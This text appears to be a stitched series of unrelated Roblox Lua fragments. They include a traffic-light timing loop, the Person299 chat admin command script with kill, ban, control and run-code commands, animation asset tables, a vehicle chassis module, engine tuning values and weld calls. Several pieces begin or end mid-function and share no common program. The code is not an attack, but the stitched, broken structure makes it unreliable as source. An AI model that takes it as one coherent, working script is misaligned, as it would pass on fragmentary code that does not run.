SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 1
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(10)--Green Time (BEGIN SIGNAL1 PROTECTED TURN GREEN)
TurnValues.TurnSignal1.Value = 2
wait(4)--Yield Time (YIELD SIGNAL1 PROTECTED TURN GREEN)
TurnValues.TurnSignal1.Value = 3
SignalValues.Signal1a.Value = 3
wait(2)-- All Red Cycle
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(10) -- Green Time + Time for Signal1a
SignalValues.Signal1.Value = 2
SignalValues.Signal1a.Value = 2
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 1
PedValues.PedSignal1a.Value = 1
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 2
PedValues.PedSignal1a.Value = 2
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(6) -- Green Time + Time for flashing pedestrian signals
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 2
SignalValues.Signal2a.Value = 2
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
end
|
-- mainWindow Assets
|
local sidebar = mainWindow.Sidebar
local mainUI = mainWindow.mainUI
|
-- Local variable defaults
|
local numLaps = 1
local raceDuration = 60
local debugEnabled = false
|
--[[
The original model of the command script is at http://www.roblox.com/Item.aspx?ID=5277383 if you get the command script anywhere else it could be infected.
-Person299
The commands are,
commands
Shows a list of all the commands
fix
If the command script breaks for you, say this to fix it
kill/Person299
Kills Person299
loopkill/Person299
Repeatedly kills Person299 when he respawns
unloopkill/Person299
Undos loopkill/
heal/Person299
Returns Person299 to full health
damage/Person299/50
Makes Person299's character take 50 damage
health/Person299/999999
Makes Person299's MaxHealth and Health 999999
kick/Person299
Removes Person299 from the game, cannot be used by admin/ed people
ban/Person299
Removes Person299 from the game and keeps him from reenterring, cannot be used by admin/ed people
bannedlist
Shows a list of everyone banned
unban/Person299
Unbans Person299
explode/Person299
Explodes Person299's character
rocket/Person299
Straps a rocket onto Person299's back
removetools/Person299
Removes all of Person299's tools.
givetools/Person299
Gives Person299 all the tools in StarterPack
givebtools/Person299
Gives Person299 the building tools
sit/Person299
Makes Person299 sit
part/4/1/2
Makes a part with the given dimensions appear over your character
respawn/Person299
Makes Person299's character respawn
jail/Person299
Makes a lil jail cell around Person299's character
unjail/Person299
Undos jail/
punish/Person299
Puts Person299's character in game.Lighting
unpunish/Person299
Undos punish/
merge/Person299/Farvei
Makes Person299 control Farvei's character
teleport/Person299/nccvoyager
Teleports Person299's character to nccvoyager's character
control/Person299
Makes you control Person299's character
change/Person299/Money/999999
Makes the Money value in Person299's leaderstats 999999
give/Person299/Tool
Give's Person299 a tool, the toolname can be abbreviated
tools
Gives you a list of all the tools available to be give/en, the tool must be in game.Lighting
time/15.30
Makes game.Lighting.TimeOfDay 15:30
ambient/255/0/0
Makes game.Lighting.Ambient 255,0,0
maxplayers/20
Makes game.Players.MaxPlayers 20
nograv/Person299
Makes Person299 almost weightless
antigrav/Person299
Gives Person299 antigravity properties
grav/Person299
Returns Person299's gravity to normal
highgrav/Person299
Makes Person299 heavier
setgrav/Person299/-196
Sets Person299's gravity
trip/Person299
Makes Person299's character trip
walkspeed/Person299/99
Makes Person299's character's humanoid's WalkSpeed 99, 16 is average
invisible/Person299
Makes Person299's character invisible
visible/Person299
Undos invisible/
freeze/Person299
Makes Person299's character unable to move
thaw/Person299
Undos freeze/
unlock/Person299
Makes Person299's character unlocked
lock/Person299
Makes Person299's character locked
ff/Person299
Gives Person299's character a ForceField
unff/Person299
Undos ff/
sparkles/Person299
Makes Person299's character sparkly
unsparkles/Person299
Undos sparkles/
shield/Person299
Makes a destructive shield thingy appear around Person299
unshield/Person299
Undos shield/
god/Person299
Makes Person299 godish
ungod/Person299
Undos god/
zombify/Person299
Makes Person299 an infecting zombie
admin/Person299
Makes Person299 able to use the command script, cannot be used by admin/ed people
adminlist
Shows a list of everyone in the adminlist
unadmin/Person299
Undos admin/, cannot be used by admin/ed people
shutdown
Shuts the server down, cannot be used by admin/ed people
m/Fallout 2 is one of the best games ever made
Makes a message appear on the screen saying "Fallout 2 is one of the best games ever made" for 2 seconds
h/i like pie
Makes a hint appear on the screen saying "i like pie" for 2 seconds
c/ game.Workspace:remove()
Makes a script which source is what's after c/
clear
Removes all scripts created by c/ and removes all jails.
Capitalisation doesnt matter, and name input can be abbreviated.
Just about any name input can be replaced with multiple names seperated by commas, me, all, others, guests, admins, nonadmins, random, or team teamname.
--]]
|
texture = ""
namelist = { }
variablelist = { }
flist = { }
local source = script:FindFirstChild("sourcing")
if source ~= nil then
sbbu = script.sourcing:clone()
sbbu.Disabled = false
else
print("sourcing script doesnt exist, your command script may malfunction")
end
tools = Instance.new("Model")
c = game.Lighting:GetChildren()
for i=1,#c do
if c[i].className == "Tool" then
c[i]:clone().Parent = tools
end
if c[i].className == "HopperBin" then
c[i]:clone().Parent = tools
end end
function findplayer(name,speaker)
if string.lower(name) == "all" then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
table.insert(chars,c[i])
end end
return chars
elseif string.sub(string.lower(name),1,9) == "nonadmins" then
local nnum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
local isadmin = false
for i2 =1,#namelist do
if namelist[i2] == c[i].Name then
isadmin = true
end end
if isadmin == false then
nnum = nnum + 1
table.insert(chars,c[i])
end end
if nnum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,6) == "admins" then
local anum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
for i2 =1,#namelist do
if namelist[i2] == c[i].Name then
anum = anum + 1
table.insert(chars,c[i])
end end end
if anum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,6) == "random" then
while true do
local c = game.Players:GetChildren()
local r = math.random(1,#c)
if c[r].className == "Player" then
return { c[r] }
end end
elseif string.sub(string.lower(name),1,6) == "guests" then
local gnum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
if string.sub(c[i].Name,1,5) == "Guest" then
gnum = gnum + 1
table.insert(chars,c[i])
end end
if gnum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,5) == "team " then
local theteam = nil
local tnum = 0
if game.Teams ~= nil then
local c = game.Teams:GetChildren()
for i =1,#c do
if c[i].className == "Team" then
if string.find(string.lower(c[i].Name),string.sub(string.lower(name),6)) == 1 then
theteam = c[i]
tnum = tnum + 1
end end end
if tnum == 1 then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if c[i].TeamColor == theteam.TeamColor then
table.insert(chars,c[i])
end end end
return chars
end end
return 0
elseif string.lower(name) == "me" then
local person299 = { speaker }
return person299
elseif string.lower(name) == "others" then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if c[i] ~= speaker then
table.insert(chars,c[i])
end end end
return chars
else
local chars = { }
local commalist = { }
local ssn = 0
local lownum = 1
local highestnum = 1
local foundone = false
while true do
ssn = ssn + 1
if string.sub(name,ssn,ssn) == "" then
table.insert(commalist,lownum)
table.insert(commalist,ssn - 1)
highestnum = ssn - 1
break
end
if string.sub(name,ssn,ssn) == "," then
foundone = true
table.insert(commalist,lownum)
table.insert(commalist,ssn)
lownum = ssn + 1
end end
if foundone == true then
for ack=1,#commalist,2 do
local cnum = 0
local char = nil
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if string.find(string.lower(c[i].Name),string.sub(string.lower(name),commalist[ack],commalist[ack + 1] - 1)) == 1 then
char = c[i]
cnum = cnum + 1
end end end
if cnum == 1 then
table.insert(chars,char)
end end
if #chars ~= 0 then
return chars
else
return 0
end
else
local cnum = 0
local char = nil
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if string.find(string.lower(c[i].Name),string.lower(name)) == 1 then
char = {c[i]}
cnum = cnum + 1
end end end
if cnum == 1 then
return char
elseif cnum == 0 then
text("That name is not found.",1,"Message",speaker)
return 0
elseif cnum > 1 then
text("That name is ambiguous.",1,"Message",speaker)
return 0
end end end end -- I really like the way the ends look when they're all on the same line better, dont you?
function createscript(source,par)
local a = sbbu:clone()
local context = Instance.new("StringValue")
context.Name = "Context"
context.Value = source
context.Parent = a
while context.Value ~= source do wait() end
a.Parent = par
local b = Instance.new("IntValue")
b.Name = "Is A Created Script"
b.Parent = a
end
function text(message,duration,type,object)
local m = Instance.new(type)
m.Text = message
m.Parent = object
wait(duration)
if m.Parent ~= nil then
m:remove()
end end
function foc(msg,speaker)
if string.lower(msg) == "fix" then
for i =1,#namelist do
if namelist[i] == speaker.Name then
variablelist[i]:disconnect()
table.remove(variablelist,i)
table.remove(namelist,i)
table.remove(flist,i)
end end
local tfv = speaker.Chatted:connect(function(msg) oc(msg,speaker) end)
table.insert(namelist,speaker.Name)
table.insert(variablelist,tfv)
local tfv = speaker.Chatted:connect(function(msg) foc(msg,speaker) end)
table.insert(flist,tfv)
end end
function PERSON299(name)
for i =1,#adminlist do
if adminlist[i] == name then
return true
end end
return false
end
function oc(msg,speaker)
if string.sub(string.lower(msg),1,5) == "kill/" then--This part checks if the first part of the message is kill/
local player = findplayer(string.sub(msg,6),speaker)--This part refers to the findplayer function for a list of people associated with the input after kill/
if player ~= 0 then--This part makes sure that the findplayer function found someone, as it returns 0 when it hasnt
for i = 1,#player do--This part makes a loop, each different loop going through each player findplayer returned
if player[i].Character ~= nil then--This part makes sure that the loop's current player's character exists
local human = player[i].Character:FindFirstChild("Humanoid")--This part looks for the Humanoid in the character
if human ~= nil then--This part makes sure the line above found a humanoid
human.Health = 0--This part makes the humanoid's health 0
end end end end end--This line contains the ends for all the if statements and the for loop
if string.sub(string.lower(msg),1,2) == "m/" then
text(speaker.Name .. ": " .. string.sub(msg,3),2,"Message",game.Workspace)
end
if string.sub(string.lower(msg),1,2) == "h/" then
text(speaker.Name .. ": " .. string.sub(msg,3),2,"Hint",game.Workspace)
end
if string.sub(string.lower(msg),1,2) == "c/" then--Dontcha wish pcall was more reliable?
createscript(string.sub(msg,3),game.Workspace)
end
local msg = string.lower(msg)
if string.sub(msg,1,5) == "give/" then
local danumber1 = nil
for i = 6,100 do
if string.sub(msg,i,i) == "/" then
danumber1 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber1 == nil then return end
local it = nil
local all = true
if string.sub(string.lower(msg),danumber1 + 1,danumber1 + 4) ~= "all" then
all = false
local itnum = 0
local c = tools:GetChildren()
for i2 = 1,#c do
if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1)) == 1 then
it = c[i2]
itnum = itnum + 1
end end
if itnum ~= 1 then return end
else
all = true
end
local player = findplayer(string.sub(msg,6,danumber1 - 1),speaker)
if player ~= 0 then
for i = 1,#player do
local bp = player[i]:FindFirstChild("Backpack")
if bp ~= nil then
if all == false then
it:clone().Parent = bp
else
local c = tools:GetChildren()
for i2 = 1,#c do
c[i2]:clone().Parent = bp
end end end end end end
|
--Credits to Brutez for rewriting this script. I edited it for R15 Compatibility.
--This is from JTK.
|
function waitForChild(parent, childName)
local child = parent:FindFirstChild(childName)
if child then return child end
while true do
child = parent.ChildAdded:Wait()
if child.Name==childName then return child end
end
end
local Figure = script.Parent
local Humanoid;
for _,Child in pairs(Figure:GetChildren())do
if Child and Child.ClassName=="Humanoid"then
Humanoid=Child;
end;
end;
local pose = "Standing"
local currentAnim = ""
local currentAnimInstance = nil
local currentAnimTrack = nil
local currentAnimKeyframeHandler = nil
local currentAnimSpeed = 1.0
local animTable = {}
local animNames = {
idle = {
{ id = "http://www.roblox.com/asset/?id=180435571", weight = 9 },
{ id = "http://www.roblox.com/asset/?id=180435792", weight = 1 }
},
walk = {
{ id = "http://www.roblox.com/asset/?id=180426354", weight = 10 }
},
run = {
{ id = "http://www.roblox.com/asset/?id=252557606", weight = 20 }
},
jump = {
{ id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
},
fall = {
{ id = "http://www.roblox.com/asset/?id=180436148", weight = 10 }
},
climb = {
{ id = "http://www.roblox.com/asset/?id=180436334", weight = 10 }
},
sit = {
{ id = "http://www.roblox.com/asset/?id=178130996", weight = 10 }
},
toolnone = {
{ id = "http://www.roblox.com/asset/?id=182393478", weight = 10 }
},
toolslash = {
{ id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
|
-- print("Module Being Initialized")
|
arraySoFar[obj.Name] = loadModule(obj)
end
end
return arraySoFar
end
_G.Services = {}
_G.Modules = {}
_G.Shared = {}
_G.Remotes = {}
for _, obj in pairs(Remotes:GetChildren()) do
if (obj:IsA("RemoteEvent")) then
_G.Remotes[obj.Name] = obj
end
end
loadModules(ServerModules.Services, _G.Services)
loadModules(ServerModules.Modules, _G.Modules)
loadModules(SharedModules, _G.Shared)
for _, module in pairs(_G.Services) do
if (module.Start) then
_G.Shared.Thread.SpawnNow(function()
module.Start()
end)
end
end
|
-- Module Functions --
|
local Chassis = {}
Chassis.driverSeat = root:WaitForChild("VehicleSeat")
print("ran chassis module")
function Chassis.InitializeSeats()
driverSeat = root:WaitForChild("VehicleSeat")
passengerSeats = {
root:FindFirstChild("SeatFR"),
root:FindFirstChild("SeatRL"),
root:FindFirstChild("SeatRR")
}
local wheelRadius = root.SuspensionFL.WheelFrontLeft.Size.y/2
driverSeat.MaxSpeed = maxSpeed * wheelRadius
end
function Chassis.InitializeDriving()
print("initializing chassis driving")
local constraints = root:WaitForChild("Constraints")
local effects = root:WaitForChild("Effects")
local scripts = root:WaitForChild("Scripts")
-- Constraint tables always ordered FL, FR, RL, RR
motors = {
constraints:WaitForChild("MotorFL"),
constraints:WaitForChild("MotorFR"),
constraints:WaitForChild("MotorRL"),
constraints:WaitForChild("MotorRR")
}
local strutSprings = {
constraints:WaitForChild("StrutSpringFL"),
constraints:WaitForChild("StrutSpringFR"),
constraints:WaitForChild("StrutSpringRL"),
constraints:WaitForChild("StrutSpringRR")
}
local torsionSprings = {
constraints:WaitForChild("TorsionBarSpringFL"),
constraints:WaitForChild("TorsionBarSpringFR"),
constraints:WaitForChild("TorsionBarSpringRL"),
constraints:WaitForChild("TorsionBarSpringRR")
}
redressMount = root:WaitForChild("RedressMount")
steeringPrismatic = constraints:WaitForChild("SteeringPrismatic")
steerMax = steeringPrismatic.UpperLimit
setMotorTorque(100000)
for _,s in pairs(strutSprings) do
--s.Stiffness = springStiffness
-- s.Damping = springDamping
end
for _,s in pairs(torsionSprings) do
--adjustStrutSpring(s, gravityChange)
end
print("finished initializing chassis driving")
end
function Chassis.GetDriverSeat()
if not driverSeat then warn("driverSeat uninitialized") end
return driverSeat
end
function Chassis.GetPassengerSeats()
if not passengerSeats then warn("passengerSeats uninitialized") end
return passengerSeats
end
function Chassis.SetMotorVelocity(vel)
for _,m in pairs(motors) do
m.AngularVelocity = vel
end
end
function Chassis.GetAverageVelocity()
local t = 0
for _,m in pairs(motors) do
t = t + getMotorVelocity(m)
end
return t * (1/#motors)
end
function Chassis.EnableHandbrake()
motors[3].AngularVelocity = 0
motors[4].AngularVelocity = 0
motors[3].MotorMaxTorque = breakingTorque
motors[4].MotorMaxTorque = breakingTorque
end
function Chassis.UpdateSteering(steer, currentVel)
local c = 0.2*(math.abs(currentVel)/maxSpeed)+1 --decrease steer value as speed increases to prevent tipping (handbrake cancels this)
steer = steer/c
print(steer)
steeringPrismatic.TargetPosition = steer * steer * steer * steerMax
end
function Chassis.UpdateThrottle(currentVel, throttle)
local targetVel = 0
local motorTorque = 0
if math.abs( throttle ) < 0.1 then
-- Idling
motorTorque = 100
setMotorTorque( motorTorque )
elseif math.abs(throttle * currentVel) > 0 then
motorTorque = torque * throttle * throttle
setMotorTorqueDamped( motorTorque )
-- Arbitrary large number
targetVel = math.sign( throttle ) * 10000
else
-- Breaking
motorTorque = breakingTorque * throttle * throttle
setMotorTorque( motorTorque )
end
Chassis.SetMotorVelocity( targetVel )
end
local redressingState = false
function Chassis.Redress()
if redressingState then
return
end
redressingState = true
local p = driverSeat.CFrame.Position + Vector3.new( 0,10,0 )
local xc = driverSeat.CFrame.RightVector
xc = Vector3.new(xc.x,0,xc.z)
xc = xc.Unit
local yc = Vector3.new(0,1,0)
local zc = xc:Cross( yc )
local cf = CFrame.new( p.x,p.y,p.z, xc.x,yc.x,zc.x, xc.y,yc.y,zc.y, xc.z,yc.z,zc.z )
local targetAttachment = redressMount.RedressTarget
targetAttachment.Parent = workspace.Terrain
targetAttachment.Position = p
targetAttachment.Axis = xc
targetAttachment.SecondaryAxis = yc
redressMount.RedressOrientation.Enabled = true
redressMount.RedressPosition.Enabled = true
wait(1.5)
redressMount.RedressOrientation.Enabled = false
redressMount.RedressPosition.Enabled = false
targetAttachment.Parent = redressMount
wait(2)
redressingState = false
end
return Chassis
|
-- Exclude counting autoremoving items (thumbnail and autoupdating script)
|
local AutoremovingItemsCount = 5 + 1;
|
--------------------
-- Mesh Settings: -- [If you want a mesh drop, set meshDrop to true up on top.]
-- Look at the mesh properties and change the inside of the quotes below to the appropriate
-- full link or the rbxasset:// style, doesnt matter which one you see in the mesh you want
|
meshID = "rbxasset://fonts/PaintballGun.mesh"
textureID = "rbxasset://textures/PaintballGunTex128.png"
|
--[=[
@class PermissionLevelUtils
]=]
|
local require = require(script.Parent.loader).load(script)
local PermissionLevel = require("PermissionLevel")
local PermissionLevelUtils = {}
local ALLOWED = {}
for _, item in pairs(PermissionLevel) do
ALLOWED[item] = true
end
function PermissionLevelUtils.isPermissionLevel(permissionLevel)
return ALLOWED[permissionLevel]
end
return PermissionLevelUtils
|
-- 1 refers to the cart ID in situations where there is more than one cart
|
local cart = Cart.new(game.Workspace.Cart, 1)
GameStartEvent.Event:Connect(function()
cart:start()
while wait(0.15) and isGameActive.Value do
cart:onUpdate()
end
end)
GameOverEvent.Event:Connect(function()
cart:stop()
end)
|
--[=[
Formats the resulting entry by args.
@param key string
@param args table?
@return Promise<string>
]=]
|
function JSONTranslator:PromiseFormatByKey(key, args)
assert(self ~= JSONTranslator, "Construct a new version of this class to use it")
assert(type(key) == "string", "Key must be a string")
return self._promiseTranslator:Then(function()
return self:FormatByKey(key, args)
end)
end
|
-- Public
|
function ViewportWindow:AddSkybox(skybox)
self.skyboxFrame:ClearAllChildren()
local model = Instance.new("Model")
local side = Instance.new("Part")
side.Anchored = true
side.CanCollide = false
side.CanTouch = false
side.Transparency = 1
side.Size = Vector3.new(1, 1, 1)
local mesh = Instance.new("BlockMesh")
mesh.Scale = Vector3.new(10000, 10000, 10000)
mesh.Parent = side
local top = side:Clone()
local bottom = side:Clone()
for property, enum in pairs(SIDES) do
local decal = Instance.new("Decal")
decal.Texture = skybox[property]
decal.Face = enum
decal.Parent = side
end
local decalTop = Instance.new("Decal")
decalTop.Texture = skybox.SkyboxUp
decalTop.Face = Enum.NormalId.Top
decalTop.Parent = top
local decalBottom = Instance.new("Decal")
decalBottom.Texture = skybox.SkyboxDn
decalBottom.Face = Enum.NormalId.Bottom
decalBottom.Parent = bottom
side.CFrame = SIDE_CFRAME
top.CFrame = TOP_CFRAME
bottom.CFrame = BOTTOM_CFRAME
side.Parent = model
top.Parent = model
bottom.Parent = model
model.Name = "SkyboxModel"
model.Parent = self.skyboxFrame
end
function ViewportWindow:GetWorldFrame()
return self.worldFrame
end
function ViewportWindow:GetWorldRoot()
return self.worldRoot
end
function ViewportWindow:GetPart()
return self.surfaceGui.Adornee
end
function ViewportWindow:GetSurface()
local part = self.surfaceGui.Adornee
local v = -Vector3.FromNormalId(self.surfaceGui.Face)
local u = Vector3.new(v.y, math.abs(v.x + v.z), 0)
local lcf = CFrame.fromMatrix(Vector3.new(), u:Cross(v), u, v)
local cf = part.CFrame * CFrame.new(-v * part.Size/2) * lcf
return cf, Vector3.new(
math.abs(lcf.XVector:Dot(part.Size)),
math.abs(lcf.YVector:Dot(part.Size)),
math.abs(lcf.ZVector:Dot(part.Size))
)
end
function ViewportWindow:Render(cameraCFrame, surfaceCFrame, surfaceSize)
local camera = workspace.CurrentCamera
cameraCFrame = cameraCFrame or camera.CFrame
if not (surfaceCFrame and surfaceSize) then
surfaceCFrame, surfaceSize = self:GetSurface()
end
if surfaceCFrame:PointToObjectSpace(cameraCFrame.Position).Z > 0 then
return
end
local xCross = surfaceCFrame.YVector:Cross(cameraCFrame.ZVector)
local xVector = xCross:Dot(xCross) > 0 and xCross.Unit or cameraCFrame.XVector
local levelCameraCFrame = CFrame.fromMatrix(cameraCFrame.Position, xVector, surfaceCFrame.YVector)
local tc = surfaceCFrame * Vector3.new(0, surfaceSize.y/2, 0)
local bc = surfaceCFrame * Vector3.new(0, -surfaceSize.y/2, 0)
local cstc = levelCameraCFrame:PointToObjectSpace(tc)
local csbc = levelCameraCFrame:PointToObjectSpace(bc)
local tv = (cstc * VEC_YZ).Unit
local bv = (csbc * VEC_YZ).Unit
local alpha = math.sign(tv.y) * math.acos(-tv.z)
local beta = math.sign(bv.y) * math.acos(-bv.z)
local fovH = 2 * math.tan(math.rad(camera.FieldOfView / 2))
local surfaceFovH = math.tan(alpha) - math.tan(beta)
local fovRatio = surfaceFovH / fovH
local dv = surfaceCFrame:VectorToObjectSpace(surfaceCFrame.Position - cameraCFrame.Position)
local dvXZ = (dv * VEC_XZ).Unit
local dvXY = dv * VEC_YZ
local dvx = -dvXZ.z
local camXZ = (surfaceCFrame:VectorToObjectSpace(cameraCFrame.LookVector) * VEC_XZ).Unit
local scale = camXZ:Dot(dvXZ) / dvx
local tanArcCos = math.sqrt(1 - dvx*dvx) / dvx
local w, h = 1, 1
if self.surfaceGui.SizingMode == Enum.SurfaceGuiSizingMode.FixedSize then
h = surfaceSize.x / surfaceSize.y
end
local dx = math.sign(dv.x*dv.z) * tanArcCos
local dy = dvXY.y / dvXY.z * h
local d = math.abs(scale * fovRatio * h)
local newCFrame = (surfaceCFrame - surfaceCFrame.Position) * Y_SPIN
* CFrame.new(0, 0, 0, w, 0, 0, 0, h, 0, dx, dy, d)
local max = 0
local components = {newCFrame:GetComponents()}
for i = 1, #components do
max = math.max(max, math.abs(components[i]))
end
for i = 1, #components do
components[i] = components[i] / max
end
local scaledCFrame = CFrame.new(unpack(components)) + cameraCFrame.Position
self.camera.FieldOfView = camera.FieldOfView
self.camera.CFrame = scaledCFrame
-- this eats performance!
-- self:_refreshVisibility(cameraCFrame, surfaceCFrame, surfaceSize, 0.001)
end
|
------------------------------------------------------------------------------------------------------------------------------------------------
|
if script.Parent:FindFirstChild("Chest") then
local g = script.Parent.Chest:Clone()
g.Parent = File
for _,i in pairs(g:GetChildren()) do
if i:IsA("Part") or i:IsA("UnionOperation") or i:IsA("MeshPart") then
i.CanCollide = false
i.Anchored = false
local Y = Instance.new("Weld")
Y.Part0 = Player.Character.Torso
Y.Part1 = g.Middle
Y.C0 = CFrame.new(0, 0, 0)
Y.Parent = Player.Character.Torso
end
end
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 950 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 950 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 7500 -- Use sliders to manipulate values
Tune.Redline = 9400
Tune.EqPoint = 9400
Tune.PeakSharpness = 9.4
Tune.CurveMult = 0.13
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- Called when character is added
|
function Poppercam:CharacterAdded(character, player)
end
|
---------------------------
--[[
--Main anchor point is the DriveSeat <car.DriveSeat>
Usage:
MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only
ModelWeld(Model,MainPart)
Example:
MakeWeld(car.DriveSeat,misc.PassengerSeat)
MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here
|
MakeWeld(car.Misc.FrontDoor.base,car.DriveSeat)
MakeWeld(car.Misc.FrontDoor.H1.Dr_1,car.Misc.FrontDoor.H1.part1)
MakeWeld(car.Misc.FrontDoor.H1.Dr_2,car.Misc.FrontDoor.H1.part1)
MakeWeld(car.Misc.FrontDoor.H1.To,car.Misc.FrontDoor.H1.part1)
MakeWeld(car.Misc.FrontDoor.H1.H2.Dr_1,car.Misc.FrontDoor.H1.H2.part1)
MakeWeld(car.Misc.FrontDoor.H1.H2.Dr_2,car.Misc.FrontDoor.H1.H2.part1)
MakeWeld(car.Misc.FrontDoor.H1.H2.Bar_B,car.Misc.FrontDoor.H1.H2.part1)
MakeWeld(car.Misc.FrontDoor.H1.H2.Bar_C,car.Misc.FrontDoor.H1.H2.part1)
MakeWeld(car.Misc.FrontDoor.Lever.A,car.Misc.FrontDoor.Lever.part1)
MakeWeld(car.Misc.FrontDoor.H1.part0,car.Misc.FrontDoor.H1.part1,"Motor",.015).Name="Motor"
MakeWeld(car.Misc.FrontDoor.H1.H2.part0,car.Misc.FrontDoor.H1.H2.part1,"Motor",.03).Name="Motor"
MakeWeld(car.Misc.FrontDoor.Lever.part0,car.Misc.FrontDoor.Lever.part1,"Motor",.04).Name="Motor"
MakeWeld(car.Misc.FrontDoor.H1.part0,car.Misc.FrontDoor.base)
MakeWeld(car.Misc.FrontDoor.Lever.part0,car.Misc.FrontDoor.base)
MakeWeld(car.Misc.FrontDoor.H1.H2.part0,car.Misc.FrontDoor.H1.To)
|
--////////////////////////////// Include
--//////////////////////////////////////
|
local Chat = game:GetService("Chat")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local modulesFolder = script.Parent
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil"))
local commandModules = clientChatModules:WaitForChild("CommandModules")
local WhisperModule = require(commandModules:WaitForChild("Whisper"))
local MessageSender = require(modulesFolder:WaitForChild("MessageSender"))
local ChatLocalization = nil
